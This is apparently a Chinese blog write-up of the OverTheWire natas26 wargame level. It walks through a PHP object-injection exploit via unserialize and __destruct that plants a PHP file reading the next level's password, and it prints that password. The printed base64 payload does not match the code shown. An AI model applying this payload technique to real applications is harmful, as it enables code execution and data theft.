Overthewire-natas26

Overthewire level 26 to level 27

点进页面发现它让我们画两条线,直接看源码

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

阅读一遍源码,这是一个获取两点坐标画线的代码,其主要的流程为

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }
?>

其中,我们发现在storeData的时候调用了函数unserialize()。该函数有个漏洞就是当它在反序列化的时候如果是一个类对象,并且该类对象定义了__destruct()方法, 那么它会在反序列化时自动去调用这个方法。在该题中,它会从cookie的drawing中去获取要反序列化的值,并且源码提供了一个Logger对象来往$logFile中写入了exitMsg信息。到这里攻击的思路就非常明显了,我们需要自定义一个drawing的值使得它反序列化成一个Logger对象,并且让它调用__destruct()时写入下一关的密码
攻击代码如下,先构造一个Logger的序列化信息

class Logger {
    private $logFile;
    private $initMsg;
    private $exitMsg;

    function __construct($file){
        $this->initMsg="";
        $this->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>";
        $this->logFile = "img/wudiiv11.php";
    }
}

echo base64_encode(serialize(new Logger("aaa")));
?>

随便在网上找个在线php编辑器运行这段代码,得到drawing的值Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czowOiIiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czo2MjoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czoxNjoiaW1nL3d1ZGlpdjE0LnBocCI7fQ==, 放入drawing中,访问http://natas26.natas.labs.overthewire.org/img/wudiiv11.php即可得到密码
在做这道题的时候有几个小坑要注意一下。一是构造函数必须要匹配,不然反序列化会失败,另外logFile不能是/img/wudiiv11.php, 否则就不是从当前目录而是从系统根目录开始了。
第27关的密码为55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

上一篇:三大线程不安全案例之银行取钱案例


下一篇:C#按物理尺寸打印图片 e.Graphics.DrawImage(image,0,0); //按物理尺寸打印